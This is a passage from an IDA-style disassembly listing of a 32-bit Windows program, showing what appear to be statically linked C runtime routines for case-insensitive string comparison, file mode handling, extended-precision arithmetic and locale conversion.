; --------------------------------------------------------------------------- loc_435C9A: ; CODE XREF: seg000:00435C91j cmp dword ptr [ebp+1Ch], 0 jnz short loc_435CA9 mov edx, ds:dword_4EEA70 mov [ebp+1Ch], edx loc_435CA9: ; CODE XREF: seg000:00435C9Ej mov eax, [ebp+10h] mov ecx, [ebp-24h] mov word ptr [ecx+eax*2], 0FFFFh mov edx, [ebp+10h] mov eax, [ebp-24h] mov word ptr [eax+edx*2-2], 0FFFFh mov ecx, [ebp-24h] push ecx mov edx, [ebp-28h] push edx mov eax, [ebp-2Ch] push eax mov ecx, [ebp+8] push ecx mov edx, [ebp+1Ch] push edx call near ptr 3D0000h xor eax, 8BE04589h inc ebp adc [ebx-2DCC23B3h], cl mov dx, [ecx+eax*2-2] cmp edx, 0FFFFh jz short loc_435D08 mov eax, [ebp+10h] mov ecx, [ebp-24h] xor edx, edx mov dx, [ecx+eax*2] cmp edx, 0FFFFh jz short loc_435D0C loc_435D08: ; CODE XREF: seg000:00435CF2j xor eax, eax jmp short loc_435D29 ; --------------------------------------------------------------------------- loc_435D0C: ; CODE XREF: seg000:00435D06j mov eax, [ebp+10h] shl eax, 1 push eax mov ecx, [ebp-24h] push ecx mov edx, [ebp+14h] push edx call sub_41F9A0 add esp, 0Ch mov eax, [ebp-20h] jmp short loc_435D29 ; --------------------------------------------------------------------------- loc_435D27: ; CODE XREF: seg000:00435B79j xor eax, eax loc_435D29: ; CODE XREF: seg000:00435B6Dj ; seg000:00435BB7j ... lea esp, [ebp-40h] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435D40 proc near ; CODE XREF: sub_40F19D+15Fp ; sub_431EE0+40p ... var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4EEA68 cmp dword ptr [eax+8], 0 jnz short loc_435D93 mov al, 0FFh mov edi, edi loc_435D5C: ; CODE XREF: sub_435D40+28j ; sub_435D40+48j or al, al jz short loc_435D8E mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_435D5C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_435D5C sbb al, al sbb al, 0FFh loc_435D8E: ; CODE XREF: sub_435D40+1Ej movsx eax, al jmp short loc_435E0B ; --------------------------------------------------------------------------- loc_435D93: ; CODE XREF: sub_435D40+16j lock inc ds:dword_4EED14 cmp ds:dword_4EED10, 0 jg short loc_435DA7 push 0 jmp short loc_435DBC ; --------------------------------------------------------------------------- loc_435DA7: ; CODE XREF: sub_435D40+61j lock dec ds:dword_4EED14 push 13h call sub_421A80 mov [esp+10h+var_10], 1 loc_435DBC: ; CODE XREF: sub_435D40+65j mov eax, 0FFh xor ebx, ebx nop loc_435DC4: ; CODE XREF: sub_435D40+90j ; sub_435D40+A8j or al, al jz short loc_435DEF mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_435DC4 push eax push ebx call sub_420A00 mov ebx, eax add esp, 4 call sub_420A00 add esp, 4 cmp bl, al jz short loc_435DC4 sbb eax, eax sbb eax, 0FFFFFFFFh loc_435DEF: ; CODE XREF: sub_435D40+86j mov ebx, eax pop eax or eax, eax jnz short loc_435DFF lock dec ds:dword_4EED14 jmp short loc_435E09 ; --------------------------------------------------------------------------- loc_435DFF: ; CODE XREF: sub_435D40+B4j push 13h call sub_421B20 add esp, 4 loc_435E09: ; CODE XREF: sub_435D40+BDj mov eax, ebx loc_435E0B: ; CODE XREF: sub_435D40+51j pop ebx pop esi pop edi leave retn sub_435D40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435E10 proc near ; CODE XREF: sub_432030+11Bp ; sub_432030+2D4p ... var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] or ecx, ecx jz loc_435F0A mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] lea eax, dword_4EEA68 cmp dword ptr [eax+8], 0 jnz short loc_435E81 mov bh, 41h mov bl, 5Ah mov dh, 20h lea ecx, [ecx+0] loc_435E3C: ; CODE XREF: sub_435E10+53j mov ah, [esi] or ah, ah mov al, [edi] jz short loc_435E65 or al, al jz short loc_435E65 inc esi inc edi cmp ah, bh jb short loc_435E54 cmp ah, bl ja short loc_435E54 add ah, dh loc_435E54: ; CODE XREF: sub_435E10+3Cj ; sub_435E10+40j cmp al, bh jb short loc_435E5E cmp al, bl ja short loc_435E5E add al, dh loc_435E5E: ; CODE XREF: sub_435E10+46j ; sub_435E10+4Aj cmp ah, al jnz short loc_435E6F dec ecx jnz short loc_435E3C loc_435E65: ; CODE XREF: sub_435E10+32j ; sub_435E10+36j xor ecx, ecx cmp ah, al jz loc_435F0A loc_435E6F: ; CODE XREF: sub_435E10+50j mov ecx, 0FFFFFFFFh jb loc_435F0A neg ecx jmp loc_435F0A ; --------------------------------------------------------------------------- loc_435E81: ; CODE XREF: sub_435E10+21j lock inc ds:dword_4EED14 cmp ds:dword_4EED10, 0 jg short loc_435E95 push 0 jmp short loc_435EAE ; --------------------------------------------------------------------------- loc_435E95: ; CODE XREF: sub_435E10+7Fj lock dec ds:dword_4EED14 mov ebx, ecx push 13h call sub_421A80 mov [esp+10h+var_10], 1 mov ecx, ebx loc_435EAE: ; CODE XREF: sub_435E10+83j xor eax, eax xor ebx, ebx mov edi, edi loc_435EB4: ; CODE XREF: sub_435E10+CDj mov al, [esi] or eax, eax mov bl, [edi] jz short loc_435EDF or ebx, ebx jz short loc_435EDF inc esi inc edi push ecx push eax push ebx call sub_420A00 mov ebx, eax add esp, 4 call sub_420A00 add esp, 4 pop ecx cmp eax, ebx jnz short loc_435EE5 dec ecx jnz short loc_435EB4 loc_435EDF: ; CODE XREF: sub_435E10+AAj ; sub_435E10+AEj xor ecx, ecx cmp eax, ebx jz short loc_435EEE loc_435EE5: ; CODE XREF: sub_435E10+CAj mov ecx, 0FFFFFFFFh jb short loc_435EEE neg ecx loc_435EEE: ; CODE XREF: sub_435E10+D3j ; sub_435E10+DAj pop eax or eax, eax jnz short loc_435EFC lock dec ds:dword_4EED14 jmp short loc_435F0A ; --------------------------------------------------------------------------- loc_435EFC: ; CODE XREF: sub_435E10+E1j mov ebx, ecx push 13h call sub_421B20 add esp, 4 mov ecx, ebx loc_435F0A: ; CODE XREF: sub_435E10+Bj ; sub_435E10+59j ... mov eax, ecx pop ebx pop esi pop edi leave retn sub_435E10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] cmp eax, ds:dword_4EEE20 jnb short loc_435F51 mov ecx, [ebp+8] sar ecx, 5 mov edx, [ebp+8] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_435F61 loc_435F51: ; CODE XREF: seg000:00435F2Dj call sub_4267E0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_435F8F ; --------------------------------------------------------------------------- loc_435F61: ; CODE XREF: seg000:00435F4Fj mov edx, [ebp+8] push edx call sub_42DB90 add esp, 4 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_435FA0 add esp, 8 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_42DC20 add esp, 4 mov eax, [ebp-4] loc_435F8F: ; CODE XREF: seg000:00435F5Fj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435FA0 proc near ; CODE XREF: sub_432CF0+D4p ; sub_432CF0+1A6p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 80h mov [ebp+var_4], eax cmp [ebp+arg_4], 8000h jnz short loc_436009 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] mov cl, [eax+edx+4] and cl, 7Fh mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov edx, ds:dword_4EED20[edx*4] mov [edx+eax+4], cl jmp short loc_43605A ; --------------------------------------------------------------------------- loc_436009: ; CODE XREF: sub_435FA0+2Ej cmp [ebp+arg_4], 4000h jnz short loc_43604A mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] mov al, [edx+ecx+4] or al, 80h mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov ecx, ds:dword_4EED20[ecx*4] mov [ecx+edx+4], al jmp short loc_43605A ; --------------------------------------------------------------------------- loc_43604A: ; CODE XREF: sub_435FA0+70j call sub_4267E0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp short loc_43606B ; --------------------------------------------------------------------------- loc_43605A: ; CODE XREF: sub_435FA0+67j ; sub_435FA0+A8j mov eax, [ebp+var_4] neg eax sbb eax, eax and eax, 0FFFFC000h add eax, 8000h loc_43606B: ; CODE XREF: sub_435FA0+B8j mov esp, ebp pop ebp retn sub_435FA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436070 proc near ; CODE XREF: sub_432F50+9Bp ; sub_437100+2Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 0 jnz short loc_43607E xor eax, eax jmp short loc_4360BB ; --------------------------------------------------------------------------- loc_43607E: ; CODE XREF: sub_436070+8j mov eax, ds:dword_4EEE24 push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx push 1 mov edx, ds:dword_4EF044 push edx call sub_4369D0 add esp, 1Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4360B5 mov eax, 7FFFFFFFh jmp short loc_4360BB ; --------------------------------------------------------------------------- loc_4360B5: ; CODE XREF: sub_436070+3Cj mov eax, [ebp+var_4] sub eax, 2 loc_4360BB: ; CODE XREF: sub_436070+Cj ; sub_436070+43j mov esp, ebp pop ebp retn sub_436070 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4360C0 proc near ; CODE XREF: sub_432F50+2Dp ; sub_436E20+81p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov eax, ds:dword_4EE990 mov [ebp+var_4], eax loc_4360CE: ; CODE XREF: sub_4360C0+A3j mov ecx, [ebp+var_4] cmp dword ptr [ecx], 0 jz loc_436168 push 0 push 0 push 0 push 0 push 0FFFFFFFFh mov edx, [ebp+var_4] mov eax, [edx] push eax push 0 push 1 call ds:dword_4F1384 ; WideCharToMultiByte mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_436102 or eax, 0FFFFFFFFh jmp short loc_43616A ; --------------------------------------------------------------------------- loc_436102: ; CODE XREF: sub_4360C0+3Bj push 3Dh push offset dword_43AEE8 push 2 mov ecx, [ebp+var_C] push ecx call sub_41AE60 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_436125 or eax, 0FFFFFFFFh jmp short loc_43616A ; --------------------------------------------------------------------------- loc_436125: ; CODE XREF: sub_4360C0+5Ej push 0 push 0 mov edx, [ebp+var_C] push edx mov eax, [ebp+var_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_4] mov edx, [ecx] push edx push 0 push 1 call ds:dword_4F1384 ; WideCharToMultiByte test eax, eax jnz short loc_43614C or eax, 0FFFFFFFFh jmp short loc_43616A ; --------------------------------------------------------------------------- loc_43614C: ; CODE XREF: sub_4360C0+85j push 0 mov eax, [ebp+var_8] push eax call sub_436E20 add esp, 8 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx jmp loc_4360CE ; --------------------------------------------------------------------------- loc_436168: ; CODE XREF: sub_4360C0+14j xor eax, eax loc_43616A: ; CODE XREF: sub_4360C0+40j ; sub_4360C0+63j ... mov esp, ebp pop ebp retn sub_4360C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436170 proc near ; CODE XREF: sub_433EA0+2B5p ; sub_4365B0+B5p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 48h mov word ptr [ebp+var_2C], 0 mov [ebp+var_4], 0 mov [ebp+var_14], 0 mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov cx, [eax+0Ah] mov word ptr [ebp+var_18], cx mov edx, [ebp+arg_4] mov ax, [edx+0Ah] mov word ptr [ebp+var_20], ax mov ecx, [ebp+var_18] and ecx, 0FFFFh mov edx, [ebp+var_20] and edx, 0FFFFh xor ecx, edx and ecx, 8000h mov word ptr [ebp+var_2C], cx mov ax, word ptr [ebp+var_18] and ax, 7FFFh mov word ptr [ebp+var_18], ax mov cx, word ptr [ebp+var_20] and cx, 7FFFh mov word ptr [ebp+var_20], cx mov edx, [ebp+var_18] and edx, 0FFFFh mov eax, [ebp+var_20] and eax, 0FFFFh add edx, eax mov word ptr [ebp+var_30], dx mov ecx, [ebp+var_18] and ecx, 0FFFFh cmp ecx, 7FFFh jge short loc_43622D mov edx, [ebp+var_20] and edx, 0FFFFh cmp edx, 7FFFh jge short loc_43622D mov eax, [ebp+var_30] and eax, 0FFFFh cmp eax, 0BFFDh jle short loc_436264 loc_43622D: ; CODE XREF: sub_436170+9Bj ; sub_436170+ACj mov ecx, [ebp+var_2C] and ecx, 0FFFFh neg ecx sbb ecx, ecx and ecx, 80000000h add ecx, 7FFF8000h mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 jmp loc_4365A9 ; --------------------------------------------------------------------------- loc_436264: ; CODE XREF: sub_436170+BBj mov edx, [ebp+var_30] and edx, 0FFFFh cmp edx, 3FBFh jg short loc_436297 mov eax, [ebp+arg_0] mov dword ptr [eax+8], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_0] mov dword ptr [edx], 0 jmp loc_4365A9 ; --------------------------------------------------------------------------- loc_436297: ; CODE XREF: sub_436170+103j mov eax, [ebp+var_18] and eax, 0FFFFh test eax, eax jnz short loc_4362DD mov cx, word ptr [ebp+var_30] add cx, 1 mov word ptr [ebp+var_30], cx mov edx, [ebp+arg_0] mov eax, [edx+8] and eax, 7FFFFFFFh test eax, eax jnz short loc_4362DD mov ecx, [ebp+arg_0] cmp dword ptr [ecx+4], 0 jnz short loc_4362DD mov edx, [ebp+arg_0] cmp dword ptr [edx], 0 jnz short loc_4362DD mov eax, [ebp+arg_0] mov word ptr [eax+0Ah], 0 jmp loc_4365A9 ; --------------------------------------------------------------------------- loc_4362DD: ; CODE XREF: sub_436170+131j ; sub_436170+14Cj ... mov ecx, [ebp+var_20] and ecx, 0FFFFh test ecx, ecx jnz short loc_436339 mov dx, word ptr [ebp+var_30] add dx, 1 mov word ptr [ebp+var_30], dx mov eax, [ebp+arg_4] mov ecx, [eax+8] and ecx, 7FFFFFFFh test ecx, ecx jnz short loc_436339 mov edx, [ebp+arg_4] cmp dword ptr [edx+4], 0 jnz short loc_436339 mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jnz short loc_436339 mov ecx, [ebp+arg_0] mov dword ptr [ecx+8], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+4], 0 mov eax, [ebp+arg_0] mov dword ptr [eax], 0 jmp loc_4365A9 ; --------------------------------------------------------------------------- loc_436339: ; CODE XREF: sub_436170+178j ; sub_436170+194j ... mov [ebp+var_28], 0 mov [ebp+var_1C], 0 jmp short loc_436352 ; --------------------------------------------------------------------------- loc_436349: ; CODE XREF: sub_436170+29Cj mov ecx, [ebp+var_1C] add ecx, 1 mov [ebp+var_1C], ecx loc_436352: ; CODE XREF: sub_436170+1D7j cmp [ebp+var_1C], 5 jge loc_436411 mov edx, [ebp+var_1C] shl edx, 1 mov [ebp+var_24], edx mov [ebp+var_8], 8 mov eax, 5 sub eax, [ebp+var_1C] mov [ebp+var_34], eax jmp short loc_436381 ; --------------------------------------------------------------------------- loc_436378: ; CODE XREF: sub_436170+28Ej mov ecx, [ebp+var_34] sub ecx, 1 mov [ebp+var_34], ecx loc_436381: ; CODE XREF: sub_436170+206j cmp [ebp+var_34], 0 jle short loc_436403 mov edx, [ebp+arg_0] add edx, [ebp+var_24] mov [ebp+var_38], edx mov eax, [ebp+arg_4] add eax, [ebp+var_8] mov [ebp+var_3C], eax mov ecx, [ebp+var_28] lea edx, [ebp+ecx+var_14] mov [ebp+var_40], edx mov eax, [ebp+var_38] xor ecx, ecx mov cx, [eax] mov edx, [ebp+var_3C] xor eax, eax mov ax, [edx] imul ecx, eax mov [ebp+var_44], ecx mov ecx, [ebp+var_40] push ecx mov edx, [ebp+var_44] push edx mov eax, [ebp+var_40] mov ecx, [eax] push ecx call sub_433020 add esp, 0Ch mov [ebp+var_48], eax cmp [ebp+var_48], 0 jz short loc_4363EC mov edx, [ebp+var_28] mov ax, word ptr [ebp+edx+var_10] add ax, 1 mov ecx, [ebp+var_28] mov word ptr [ebp+ecx+var_10], ax loc_4363EC: ; CODE XREF: sub_436170+266j mov edx, [ebp+var_24] add edx, 2 mov [ebp+var_24], edx mov eax, [ebp+var_8] sub eax, 2 mov [ebp+var_8], eax jmp loc_436378 ; --------------------------------------------------------------------------- loc_436403: ; CODE XREF: sub_436170+215j mov ecx, [ebp+var_28] add ecx, 2 mov [ebp+var_28], ecx jmp loc_436349 ; --------------------------------------------------------------------------- loc_436411: ; CODE XREF: sub_436170+1E6j mov dx, word ptr [ebp+var_30] sub dx, 3FFEh mov word ptr [ebp+var_30], dx loc_43641E: ; CODE XREF: sub_436170+2DBj movsx eax, word ptr [ebp+var_30] test eax, eax jle short loc_43644D mov ecx, [ebp+var_C] and ecx, 80000000h test ecx, ecx jnz short loc_43644D lea edx, [ebp+var_14] push edx call sub_433110 add esp, 4 mov ax, word ptr [ebp+var_30] sub ax, 1 mov word ptr [ebp+var_30], ax jmp short loc_43641E ; --------------------------------------------------------------------------- loc_43644D: ; CODE XREF: sub_436170+2B4j ; sub_436170+2C1j movsx ecx, word ptr [ebp+var_30] test ecx, ecx jg short loc_4364AD mov dx, word ptr [ebp+var_30] sub dx, 1 mov word ptr [ebp+var_30], dx loc_436461: ; CODE XREF: sub_436170+32Aj movsx eax, word ptr [ebp+var_30] test eax, eax jge short loc_43649C mov ecx, [ebp+var_14] and ecx, 0FFFFh and ecx, 1 test ecx, ecx jz short loc_436482 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_436482: ; CODE XREF: sub_436170+307j lea eax, [ebp+var_14] push eax call sub_433170 add esp, 4 mov cx, word ptr [ebp+var_30] add cx, 1 mov word ptr [ebp+var_30], cx jmp short loc_436461 ; --------------------------------------------------------------------------- loc_43649C: ; CODE XREF: sub_436170+2F7j cmp [ebp+var_4], 0 jz short loc_4364AD mov dx, word ptr [ebp+var_14] or dl, 1 mov word ptr [ebp+var_14], dx loc_4364AD: ; CODE XREF: sub_436170+2E3j ; sub_436170+330j mov eax, [ebp+var_14] and eax, 0FFFFh cmp eax, 8000h jg short loc_4364CD mov ecx, [ebp+var_14] and ecx, 1FFFFh cmp ecx, 18000h jnz short loc_43652E loc_4364CD: ; CODE XREF: sub_436170+34Aj cmp [ebp+var_14+2], 0FFFFFFFFh jnz short loc_436525 mov [ebp+var_14+2], 0 cmp [ebp+var_10+2], 0FFFFFFFFh jnz short loc_43651A mov [ebp+var_10+2], 0 mov edx, [ebp+var_C+2] and edx, 0FFFFh cmp edx, 0FFFFh jnz short loc_43650C mov word ptr [ebp+var_C+2], 8000h mov ax, word ptr [ebp+var_30] add ax, 1 mov word ptr [ebp+var_30], ax jmp short loc_436518 ; --------------------------------------------------------------------------- loc_43650C: ; CODE XREF: sub_436170+386j mov cx, word ptr [ebp+var_C+2] add cx, 1 mov word ptr [ebp+var_C+2], cx loc_436518: ; CODE XREF: sub_436170+39Aj jmp short loc_436523 ; --------------------------------------------------------------------------- loc_43651A: ; CODE XREF: sub_436170+36Ej mov edx, [ebp+var_10+2] add edx, 1 mov [ebp+var_10+2], edx loc_436523: ; CODE XREF: sub_436170:loc_436518j jmp short loc_43652E ; --------------------------------------------------------------------------- loc_436525: ; CODE XREF: sub_436170+361j mov eax, [ebp+var_14+2] add eax, 1 mov [ebp+var_14+2], eax loc_43652E: ; CODE XREF: sub_436170+35Bj ; sub_436170:loc_436523j mov ecx, [ebp+var_30] and ecx, 0FFFFh cmp ecx, 7FFFh jl short loc_436573 mov edx, [ebp+var_2C] and edx, 0FFFFh neg edx sbb edx, edx and edx, 80000000h add edx, 7FFF8000h mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_0] mov dword ptr [edx], 0 jmp short loc_4365A9 ; --------------------------------------------------------------------------- loc_436573: ; CODE XREF: sub_436170+3CDj mov eax, [ebp+arg_0] mov cx, word ptr [ebp+var_14+2] mov [eax], cx mov edx, [ebp+arg_0] mov eax, [ebp+var_10] mov [edx+2], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+6], edx mov eax, [ebp+var_30] and eax, 0FFFFh mov ecx, [ebp+var_2C] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+0Ah], ax loc_4365A9: ; CODE XREF: sub_436170+EFj ; sub_436170+122j ... mov esp, ebp pop ebp retn sub_436170 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4365B0 proc near ; CODE XREF: sub_433320+914p ; sub_433EA0+288p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, offset dword_451050 sub eax, 60h mov [ebp+var_4], eax cmp [ebp+arg_4], 0 jnz short loc_4365CC jmp loc_43666F ; --------------------------------------------------------------------------- loc_4365CC: ; CODE XREF: sub_4365B0+15j cmp [ebp+arg_4], 0 jge short loc_4365E5 mov ecx, [ebp+arg_4] neg ecx mov [ebp+arg_4], ecx mov edx, offset dword_4511B0 sub edx, 60h mov [ebp+var_4], edx loc_4365E5: ; CODE XREF: sub_4365B0+20j cmp [ebp+arg_8], 0 jnz short loc_4365F3 mov eax, [ebp+arg_0] mov word ptr [eax], 0 loc_4365F3: ; CODE XREF: sub_4365B0+39j ; sub_4365B0+6Aj ... cmp [ebp+arg_4], 0 jz short loc_43666F mov ecx, [ebp+var_4] add ecx, 54h mov [ebp+var_4], ecx mov edx, [ebp+arg_4] and edx, 7 mov [ebp+var_18], edx mov eax, [ebp+arg_4] sar eax, 3 mov [ebp+arg_4], eax cmp [ebp+var_18], 0 jnz short loc_43661C jmp short loc_4365F3 ; --------------------------------------------------------------------------- loc_43661C: ; CODE XREF: sub_4365B0+68j mov ecx, [ebp+var_18] imul ecx, 0Ch mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_8], edx mov eax, [ebp+var_8] xor ecx, ecx mov cx, [eax] cmp ecx, 8000h jl short loc_43665D mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_14], eax mov ecx, [edx+4] mov [ebp+var_10], ecx mov edx, [edx+8] mov [ebp+var_C], edx mov eax, [ebp+var_14+2] sub eax, 1 mov [ebp+var_14+2], eax lea ecx, [ebp+var_14] mov [ebp+var_8], ecx loc_43665D: ; CODE XREF: sub_4365B0+88j mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_0] push eax call sub_436170 add esp, 8 jmp short loc_4365F3 ; --------------------------------------------------------------------------- loc_43666F: ; CODE XREF: sub_4365B0+17j ; sub_4365B0+47j mov esp, ebp pop ebp retn sub_4365B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436680 proc near ; CODE XREF: sub_435830+19Cp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43AEF8 push offset sub_42CA04 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi mov [ebp+var_18], esp cmp ds:dword_4EECF8, 0 jnz short loc_4366F2 push 0 push 0 push 1 push 0 call ds:dword_4F12AC ; GetLocaleInfoW test eax, eax jz short loc_4366CD mov ds:dword_4EECF8, 1 jmp short loc_4366F2 ; --------------------------------------------------------------------------- loc_4366CD: ; CODE XREF: sub_436680+3Fj push 0 push 0 push 1 push 0 call ds:dword_4F1354 ; GetLocaleInfoA test eax, eax jz short loc_4366EB mov ds:dword_4EECF8, 2 jmp short loc_4366F2 ; --------------------------------------------------------------------------- loc_4366EB: ; CODE XREF: sub_436680+5Dj xor eax, eax jmp loc_436801 ; --------------------------------------------------------------------------- loc_4366F2: ; CODE XREF: sub_436680+2Dj ; sub_436680+4Bj ... cmp ds:dword_4EECF8, 1 jnz short loc_436716 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F12AC ; GetLocaleInfoW jmp loc_436801 ; --------------------------------------------------------------------------- loc_436716: ; CODE XREF: sub_436680+79j cmp ds:dword_4EECF8, 2 jnz loc_4367FF cmp [ebp+arg_10], 0 jnz short loc_436732 mov ecx, ds:dword_4EEA80 mov [ebp+arg_10], ecx loc_436732: ; CODE XREF: sub_436680+A7j push 0 push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F1354 ; GetLocaleInfoA mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_436754 xor eax, eax jmp loc_436801 ; --------------------------------------------------------------------------- loc_436754: ; CODE XREF: sub_436680+CBj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] add eax, 3 and al, 0FCh call sub_41DEB0 mov [ebp+var_28], esp mov [ebp+var_18], esp mov ecx, [ebp+var_28] mov [ebp+var_20], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_436794 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_436794: ; CODE XREF: sub_436680+FBj cmp [ebp+var_20], 0 jnz short loc_43679E xor eax, eax jmp short loc_436801 ; --------------------------------------------------------------------------- loc_43679E: ; CODE XREF: sub_436680+118j mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call ds:dword_4F1354 ; GetLocaleInfoA test eax, eax jnz short loc_4367BC xor eax, eax jmp short loc_436801 ; --------------------------------------------------------------------------- loc_4367BC: ; CODE XREF: sub_436680+136j cmp [ebp+arg_C], 0 jnz short loc_4367DD push 0 push 0 push 0FFFFFFFFh mov eax, [ebp+var_20] push eax push 1 mov ecx, [ebp+arg_10] push ecx call ds:dword_4F1370 ; MultiByteToWideChar mov [ebp+var_24], eax jmp short loc_4367FA ; --------------------------------------------------------------------------- loc_4367DD: ; CODE XREF: sub_436680+140j mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_20] push ecx push 1 mov edx, [ebp+arg_10] push edx call ds:dword_4F1370 ; MultiByteToWideChar mov [ebp+var_24], eax loc_4367FA: ; CODE XREF: sub_436680+15Bj mov eax, [ebp+var_24] jmp short loc_436801 ; --------------------------------------------------------------------------- loc_4367FF: ; CODE XREF: sub_436680+9Dj xor eax, eax loc_436801: ; CODE XREF: sub_436680+6Dj ; 